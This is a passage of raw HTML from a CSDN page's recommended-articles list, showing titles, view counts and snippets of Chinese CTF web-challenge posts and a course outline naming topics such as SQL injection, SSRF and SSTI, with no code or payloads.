<a href="https://blog.csdn.net/u012763794" target="_blank" data-report-query="spm=1001.2101.3001.6650.6&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-6-50959166-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-6-50959166-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=13"><span class="blog-title">giantbranch的专栏</span></a>
</div>
<div class="info display-flex">
<span class="info-block time">04-09</span>
<span class="info-block read"><img class="read-img" src="https://csdnimg.cn/release/blogv2/dist/pc/img/readCountWhite.png" alt="">
8万+
</span>
</div>
</div>
</div>
<div class="desc-box">
<a href="https://giantbranch.blog.csdn.net/article/details/50959166" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.6","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-6-50959166-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"6","strategy":"2~default~BlogCommendFromBaidu~Rate","dest":"https://giantbranch.blog.csdn.net/article/details/50959166"}" data-report-query="spm=1001.2101.3001.6650.6&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-6-50959166-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-6-50959166-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=13">
<div class="desc ellipsis-online ellipsis-online-1">欢迎光顾我的新博客:https://www.giantbranch.cn
本文链接:http://blog.csdn.net/u012763794/article/details/50959166
本文根据自己的做<em>题</em>经验及各大练习平台不断<em>更新</em>,若我最近懒了,没怎么<em>更新</em>,请在下面提醒我或鼓励我
仅作为自己的笔记及刚入门的童鞋,大牛勿喷
基础篇
1.直接查看源代码
http:/...</div>
</a>
</div>
</div>
</div>
<div class="recommend-item-box type_blog clearfix" data-url="https://z3r4y.blog.csdn.net/article/details/134380147" data-report-view="{"ab":"new","spm":"1001.2101.3001.6650.7","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-7-134380147-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"7","strategy":"2~default~BlogCommendFromBaidu~Rate","dest":"https://z3r4y.blog.csdn.net/article/details/134380147"}">
<div class="content-box">
<div class="content-blog display-flex">
<div class="title-box">
<a href="https://z3r4y.blog.csdn.net/article/details/134380147" class="tit" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.7","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-7-134380147-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"7","strategy":"2~default~BlogCommendFromBaidu~Rate","dest":"https://z3r4y.blog.csdn.net/article/details/134380147"}" data-report-query="spm=1001.2101.3001.6650.7&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-7-134380147-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-7-134380147-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=14">
<div class="left ellipsis-online ellipsis-online-1">【心得】我的<em>ctf</em> <em>web</em>做<em>题</em><em>思路</em></div>
</a>
</div>
<div class="info-box display-flex">
<div class="info">
<a href="https://blog.csdn.net/uuzeray" target="_blank" data-report-query="spm=1001.2101.3001.6650.7&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-7-134380147-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-7-134380147-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=14"><span class="blog-title">uuzeray的博客</span></a>
</div>
<div class="info display-flex">
<span class="info-block time">11-13</span>
<span class="info-block read"><img class="read-img" src="https://csdnimg.cn/release/blogv2/dist/pc/img/readCountWhite.png" alt="">
704
</span>
</div>
</div>
</div>
<div class="desc-box">
<a href="https://z3r4y.blog.csdn.net/article/details/134380147" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.7","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-7-134380147-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"7","strategy":"2~default~BlogCommendFromBaidu~Rate","dest":"https://z3r4y.blog.csdn.net/article/details/134380147"}" data-report-query="spm=1001.2101.3001.6650.7&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-7-134380147-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-7-134380147-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=14">
<div class="desc ellipsis-online ellipsis-online-1">在<em>ctf</em>中,目标就是读取敏感信息,也就是flag字符串,这个字符串可能会存在目标主机的某个文件中,也可能存在数据库中,也可能存在于某些高权限、内网的其他位置。判断漏洞大概的类型,或者<em>题</em>目大概的考点,比如,有登录逻辑,就尝试sql注入,有下载逻辑就尝试文件读取,给了源码就做代码审计等等。具体细节不深究,后面我们遇到每个<em>web</em><em>题</em>目,都先进行这个判断,但是有些时候,并不能马上确定,我们就从低到高,依次挖掘。所以拿到<em>题</em>目后,第一件事情就是要判断,判断利用的漏洞方式为读取,写入还是执行。纯给自己看(可以直接划走了)</div>
</a>
</div>
</div>
</div><div class="recommend-item-box baiduSearch clearfix" data-url="https://blog.csdn.net/LUOYU125/article/details/134099954" data-type="blog" data-report-view="{"mod":"popu_387","extra":"{\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-12-134099954-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\",\"parent_index\":\"7\"}","spm":"1001.2101.3001.4242.7","dest":"https://blog.csdn.net/LUOYU125/article/details/134099954","strategy":"2~default~baidujs_baidulandingword~default","ab":"new","index":"12"}"> <div class="content-box"> <div class="content-blog display-flex"> <div class="title-box"> <a class="tit" href="https://blog.csdn.net/LUOYU125/article/details/134099954" target="_blank" data-report-click="{"mod":"popu_387","extra":"{\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-12-134099954-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\",\"parent_index\":\"7\"}","spm":"1001.2101.3001.4242.7","dest":"https://blog.csdn.net/LUOYU125/article/details/134099954","strategy":"2~default~baidujs_baidulandingword~default","ab":"new","index":"12"}" data-report-query="utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-12-134099954-blog-122903841.235^v43^pc_blog_bottom_relevance_base4&spm=1001.2101.3001.4242.7&utm_relevant_index=15"> <div class="left ellipsis-online ellipsis-online-1"><em>CTF</em> <em>web</em>快速入门_<em>ctf</em><em>web</em>入门</div> </a> </div> <div class="info-box display-flex"> <div class="info display-flex"> <span class="info-block">11-25</span> </div> </div> </div> <div class="desc-box"> <a href="https://blog.csdn.net/LUOYU125/article/details/134099954" target="_blank" data-report-click="{"mod":"popu_387","extra":"{\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-12-134099954-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\",\"parent_index\":\"7\"}","spm":"1001.2101.3001.4242.7","dest":"https://blog.csdn.net/LUOYU125/article/details/134099954","strategy":"2~default~baidujs_baidulandingword~default","ab":"new","index":"12"}" data-report-query="utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-12-134099954-blog-122903841.235^v43^pc_blog_bottom_relevance_base4&spm=1001.2101.3001.4242.7&utm_relevant_index=15"> <div class="desc ellipsis-online ellipsis-online-1"><em>CTF</em>---<em>Web</em> 前置知识点及术语: <em>Web</em>应用组成: 公网IP:互联网IP地址 端口是什么:是应用程序(服务)在计算机中的唯一标识 HTTP协议--网站访问的基础:BS架构: HTTP协议是什么:超文本传输协议 特点: HTTP常见有八种请求方式,常用get,post: 区别: 请求头: 响应...</div> </a> </div> </div> </div><div class="recommend-item-box baiduSearch clearfix" data-url="https://blog.csdn.net/2301_81525518/article/details/141171274" data-type="blog" data-report-view="{"mod":"popu_387","extra":"{\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-13-141171274-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\",\"parent_index\":\"7\"}","spm":"1001.2101.3001.4242.8","dest":"https://blog.csdn.net/2301_81525518/article/details/141171274","strategy":"2~default~baidujs_baidulandingword~default","ab":"new","index":"13"}"> <div class="content-box"> <div class="content-blog display-flex"> <div class="title-box"> <a class="tit" href="https://blog.csdn.net/2301_81525518/article/details/141171274" target="_blank" data-report-click="{"mod":"popu_387","extra":"{\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-13-141171274-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\",\"parent_index\":\"7\"}","spm":"1001.2101.3001.4242.8","dest":"https://blog.csdn.net/2301_81525518/article/details/141171274","strategy":"2~default~baidujs_baidulandingword~default","ab":"new","index":"13"}" data-report-query="utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-13-141171274-blog-122903841.235^v43^pc_blog_bottom_relevance_base4&spm=1001.2101.3001.4242.8&utm_relevant_index=16"> <div class="left ellipsis-online ellipsis-online-1"><em>CTF</em> -<em>Web</em>系列-信息漏洞_<em>ctf</em><em>web</em>隐藏flag怎么找</div> </a> </div> <div class="info-box display-flex"> <div class="info display-flex"> <span class="info-block">11-24</span> </div> </div> </div> <div class="desc-box"> <a href="https://blog.csdn.net/2301_81525518/article/details/141171274" target="_blank" data-report-click="{"mod":"popu_387","extra":"{\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-13-141171274-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\",\"parent_index\":\"7\"}","spm":"1001.2101.3001.4242.8","dest":"https://blog.csdn.net/2301_81525518/article/details/141171274","strategy":"2~default~baidujs_baidulandingword~default","ab":"new","index":"13"}" data-report-query="utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-13-141171274-blog-122903841.235^v43^pc_blog_bottom_relevance_base4&spm=1001.2101.3001.4242.8&utm_relevant_index=16"> <div class="desc ellipsis-online ellipsis-online-1"><em>CTF</em> -<em>Web</em>系列-信息漏洞 1.目录遍历 进入网址点击开始寻找flag 然后进来一个文件夹一个找 最后在4/2找到flag.txt 点进去复制回去提交就欧克了 2.<em>PHP</em>INFO 进入网址点击进入 ctrl+f 快捷搜索flag 找到后复制返回提交 3.备份文件下载 (1)网站源码 进入网站...</div> </a> </div> </div> </div>
<div class="recommend-item-box type_blog clearfix" data-url="https://devpress.csdn.net/v1/article/detail/126934814" data-report-view="{"ab":"new","spm":"1001.2101.3001.6650.8","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~activity-8-126934814-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"8","strategy":"2~default~BlogCommendFromBaidu~activity","dest":"https://devpress.csdn.net/v1/article/detail/126934814"}">
<div class="content-box">
<div class="content-blog display-flex">
<div class="title-box">
<a href="https://devpress.csdn.net/v1/article/detail/126934814" class="tit" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.8","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~activity-8-126934814-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"8","strategy":"2~default~BlogCommendFromBaidu~activity","dest":"https://devpress.csdn.net/v1/article/detail/126934814"}" data-report-query="spm=1001.2101.3001.6650.8&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Eactivity-8-126934814-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Eactivity-8-126934814-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=17">
<div class="left ellipsis-online ellipsis-online-1"><em>CTF</em> <em>Web</em>方向考点<em>总结</em></div>
</a>
</div>
<div class="info-box display-flex">
<div class="info">
<a href="https://blog.csdn.net/qq_41513009" target="_blank" data-report-query="spm=1001.2101.3001.6650.8&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Eactivity-8-126934814-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Eactivity-8-126934814-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=17"><span class="blog-title">qq_41513009的博客</span></a>
</div>
<div class="info display-flex">
<span class="info-block time">09-20</span>
<span class="info-block read"><img class="read-img" src="https://csdnimg.cn/release/blogv2/dist/pc/img/readCountWhite.png" alt="">
2万+
</span>
</div>
</div>
</div>
<div class="desc-box">
<a href="https://devpress.csdn.net/v1/article/detail/126934814" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.8","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~activity-8-126934814-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"8","strategy":"2~default~BlogCommendFromBaidu~activity","dest":"https://devpress.csdn.net/v1/article/detail/126934814"}" data-report-query="spm=1001.2101.3001.6650.8&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Eactivity-8-126934814-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Eactivity-8-126934814-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=17">
<div class="desc ellipsis-online ellipsis-online-1"><em>ctf</em> <em>web</em>考点<em>总结</em></div>
</a>
</div>
</div>
</div>
<div class="recommend-item-box type_blog clearfix" data-url="https://blog.csdn.net/m0_69003772/article/details/124336820" data-report-view="{"ab":"new","spm":"1001.2101.3001.6650.9","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~OPENSEARCH~Rate-9-124336820-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"9","strategy":"2~default~OPENSEARCH~Rate","dest":"https://blog.csdn.net/m0_69003772/article/details/124336820"}">
<div class="content-box">
<div class="content-blog display-flex">
<div class="title-box">
<a href="https://blog.csdn.net/m0_69003772/article/details/124336820" class="tit" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.9","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~OPENSEARCH~Rate-9-124336820-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"9","strategy":"2~default~OPENSEARCH~Rate","dest":"https://blog.csdn.net/m0_69003772/article/details/124336820"}" data-report-query="spm=1001.2101.3001.6650.9&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-9-124336820-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-9-124336820-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=18">
<div class="left ellipsis-online ellipsis-online-1"><em>CTF</em>Hub-<em>Web</em>--信息泄露</div>
</a>
</div>
<div class="info-box display-flex">
<div class="info">
<a href="https://blog.csdn.net/m0_69003772" target="_blank" data-report-query="spm=1001.2101.3001.6650.9&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-9-124336820-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-9-124336820-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=18"><span class="blog-title">m0_69003772的博客</span></a>
</div>
<div class="info display-flex">
<span class="info-block time">04-23</span>
<span class="info-block read"><img class="read-img" src="https://csdnimg.cn/release/blogv2/dist/pc/img/readCountWhite.png" alt="">
1511
</span>
</div>
</div>
</div>
<div class="desc-box">
<a href="https://blog.csdn.net/m0_69003772/article/details/124336820" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.9","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~OPENSEARCH~Rate-9-124336820-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"9","strategy":"2~default~OPENSEARCH~Rate","dest":"https://blog.csdn.net/m0_69003772/article/details/124336820"}" data-report-query="spm=1001.2101.3001.6650.9&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-9-124336820-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-9-124336820-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=18">
<div class="desc ellipsis-online ellipsis-online-1"><em>CTF</em>简介以及信息泄露下<em>题</em>目解<em>题</em>过程
文章目录
前言
一、基础知识
1.<em>CTF</em>简介
2.竞赛模式
2.1.理论知识
2.2.Jeopardy-解<em>题</em>
2.3.AwD-攻防模式
2.4.AWP-攻防增强
2.5.RHG-自动化[ AI自动化]
2.6RW-真实世界
2.7.KoH-抢占山头
2.8.Mix[混合]
3.比赛形式
3.1.线上
3.2.线下
4.<em>题</em>目类型
4.1.<em>Web</em>
4.2.Pwn
4.3.Reverse
4.4.C.</div>
</a>
</div>
</div>
</div><div class="recommend-item-box baiduSearch clearfix" data-url="https://blog.csdn.net/weixin_44415748/article/details/135933919" data-type="blog" data-report-view="{"mod":"popu_387","extra":"{\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-16-135933919-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\",\"parent_index\":\"9\"}","spm":"1001.2101.3001.4242.9","dest":"https://blog.csdn.net/weixin_44415748/article/details/135933919","strategy":"2~default~baidujs_baidulandingword~default","ab":"new","index":"16"}"> <div class="content-box"> <div class="content-blog display-flex"> <div class="title-box"> <a class="tit" href="https://blog.csdn.net/weixin_44415748/article/details/135933919" target="_blank" data-report-click="{"mod":"popu_387","extra":"{\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-16-135933919-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\",\"parent_index\":\"9\"}","spm":"1001.2101.3001.4242.9","dest":"https://blog.csdn.net/weixin_44415748/article/details/135933919","strategy":"2~default~baidujs_baidulandingword~default","ab":"new","index":"16"}" data-report-query="utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-16-135933919-blog-122903841.235^v43^pc_blog_bottom_relevance_base4&spm=1001.2101.3001.4242.9&utm_relevant_index=19"> <div class="left ellipsis-online ellipsis-online-1"><em>CTF</em>-<em>WEB</em>的知识体系_<em>web</em>在<em>ctf</em>中是什么意思</div> </a> </div> <div class="info-box display-flex"> <div class="info display-flex"> <span class="info-block">11-19</span> </div> </div> </div> <div class="desc-box"> <a href="https://blog.csdn.net/weixin_44415748/article/details/135933919" target="_blank" data-report-click="{"mod":"popu_387","extra":"{\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-16-135933919-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\",\"parent_index\":\"9\"}","spm":"1001.2101.3001.4242.9","dest":"https://blog.csdn.net/weixin_44415748/article/details/135933919","strategy":"2~default~baidujs_baidulandingword~default","ab":"new","index":"16"}" data-report-query="utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-16-135933919-blog-122903841.235^v43^pc_blog_bottom_relevance_base4&spm=1001.2101.3001.4242.9&utm_relevant_index=19"> <div class="desc ellipsis-online ellipsis-online-1"><em>CTF</em>是Capture The Flag的缩写,中文一般译作夺旗赛 <em>CTF</em>起源于1996年DEFCON全球黑客大会 DEFCON<em>CTF</em>是全球技术水平和影响力最高的<em>CTF</em>竞赛 竞赛模式 解<em>题</em>模式:解决<em>网络安全</em>技术挑战(即找到flag),提交后获取相应分值。 攻防赛模式:要求找到其他队伍的薄弱环节进行攻击,同时对自己的靶机环境进行加固防守。 </div> </a> </div> </div> </div>
<div class="recommend-item-box type_download clearfix" data-url="https://download.csdn.net/download/qikaibin111/20543487" data-report-view="{"ab":"new","spm":"1001.2101.3001.6650.10","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-download-2~default~BlogCommendFromBaidu~Rate-10-20543487-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"10","strategy":"2~default~BlogCommendFromBaidu~Rate","dest":"https://download.csdn.net/download/qikaibin111/20543487"}">
<div class="content-box">
<div class="content-blog display-flex">
<div class="title-box">
<a href="https://download.csdn.net/download/qikaibin111/20543487" class="tit" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.10","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-download-2~default~BlogCommendFromBaidu~Rate-10-20543487-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"10","strategy":"2~default~BlogCommendFromBaidu~Rate","dest":"https://download.csdn.net/download/qikaibin111/20543487"}" data-report-query="spm=1001.2101.3001.6650.10&utm_medium=distribute.pc_relevant.none-task-download-2%7Edefault%7EBlogCommendFromBaidu%7ERate-10-20543487-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-download-2%7Edefault%7EBlogCommendFromBaidu%7ERate-10-20543487-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=20">
<div class="left ellipsis-online ellipsis-online-1"><em>CTF</em> <em>Web</em>各种<em>题</em>目的解<em>题</em>姿势</div>
</a>
</div>
<div class="info-box display-flex">
<div class="info display-flex">
<span class="info-block">07-27</span>
</div>
</div>
</div>
<div class="desc-box">
<a href="https://download.csdn.net/download/qikaibin111/20543487" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.10","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-download-2~default~BlogCommendFromBaidu~Rate-10-20543487-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"10","strategy":"2~default~BlogCommendFromBaidu~Rate","dest":"https://download.csdn.net/download/qikaibin111/20543487"}" data-report-query="spm=1001.2101.3001.6650.10&utm_medium=distribute.pc_relevant.none-task-download-2%7Edefault%7EBlogCommendFromBaidu%7ERate-10-20543487-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-download-2%7Edefault%7EBlogCommendFromBaidu%7ERate-10-20543487-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=20">
<div class="desc ellipsis-online ellipsis-online-1">第1章 注入类
课时1:SQL注入原理与利用 19'40
课时2:SQL注入宽字节原理与利用42'08
课时3:SQL Union注入原理与利用01'01'54
课时4:SQL注入布尔注入50'02
课时5:报错注入原理与利用29'27
课时6:<em>CTF</em> SQL基于约束注入原理与利用12'22
课时7:SQL注入基于时间注入的原理与利用50'13
课时8:SQL基于时间盲注的Python自动化解<em>题</em>22'45
课时9:Sqlmap自动化注入工具介绍23'47
课时10:Sqlmap自动化注入实验 - POST注入13'34
课时11:SQL注入常用基础Trick18'15
第2章 代码执行与命令执行
课时1:代码执行介绍49'32
课时2:命令执行介绍20'14
课时3:命令执行分类20'12
课时4:命令执行技巧24'30
课时5:长度限制的命令执行25'46
课时6:无数字和字母命令执行10'27
第3章 文件上传与文件包含
课时1:文件上传漏洞原理与简单实验17'10
课时2:文件上传利用 - javascript客户端检查14'16
课时3:文件上传利用 - MIME类型检查10'50
课时4:文件上传利用 - 黑名单检查11'46
课时5:白名单检查13'09
课时6:Magic Header检查13'04
课时7:竞争上传21'10
课时8:简单利用15'47
课时9:文件包含介绍 - 伪协议zip和phar利用17'56
课时10:文件包含介绍-伪协议<em>php</em>filter利用04'54
课时11:日志文件利用07'58
课时12:日志文件利用session会话利用17'43
第4章 SSRF
课时1:SSRF介绍与简单利用19'14
课时2:SSRF限制绕过策略13'07
课时3:SSRF中可以使用的协议分析17'44
课时4:Linux基础知识21'37
课时5:Redis未授权访问漏洞利用与防御16'17
课时6:Redis未授权添加ssh密钥f17'04
第5章 第五章
课时1:XXE-XML基础必备24'47
课时2:XXEXML盲注利用技巧18'22
第6章 第六章
课时1:序列化和反序列化介绍15'49
课时2:<em>PHP</em>反序列化识别与利用14'22
课时3:<em>PHP</em>序列化特殊点介绍15'28
课时4:魔术方法20'35
课时5:序列化漏洞案例 - 任意命令执行05'53
课时6:Phar反序列化10'38
第7章 第7章 Python基础
课时1:7.1-Requests模块安装与介绍15'28
课时2:7.2-Python requests库 使用18'26
课时3:7.3-XSS自动化检测13'23
课时4:7.4-Python-SQL自动化检测07'59
课时5:7.5-Python 源码泄露自动化挖掘23'38
第8章 第8章 SSTI模板注入
课时1:8.1-Flask框架介绍与基础39'14
课时2:8.2-RCE 文件读写23'37
课时3:8.3-SSTI Trick技巧27'13</div>
</a>
</div>
</div>
</div>
<div class="recommend-item-box type_download clearfix" data-url="https://download.csdn.net/download/qq_25926525/10736460" data-report-view="{"ab":"new","spm":"1001.2101.3001.6650.11","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-download-2~default~BlogCommendFromBaidu~Rate-11-10736460-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"11","strategy":"2~default~BlogCommendFromBaidu~Rate","dest":"https://download.csdn.net/download/qq_25926525/10736460"}">
<div class="content-box">
<div class="content-blog display-flex">
<div class="title-box">
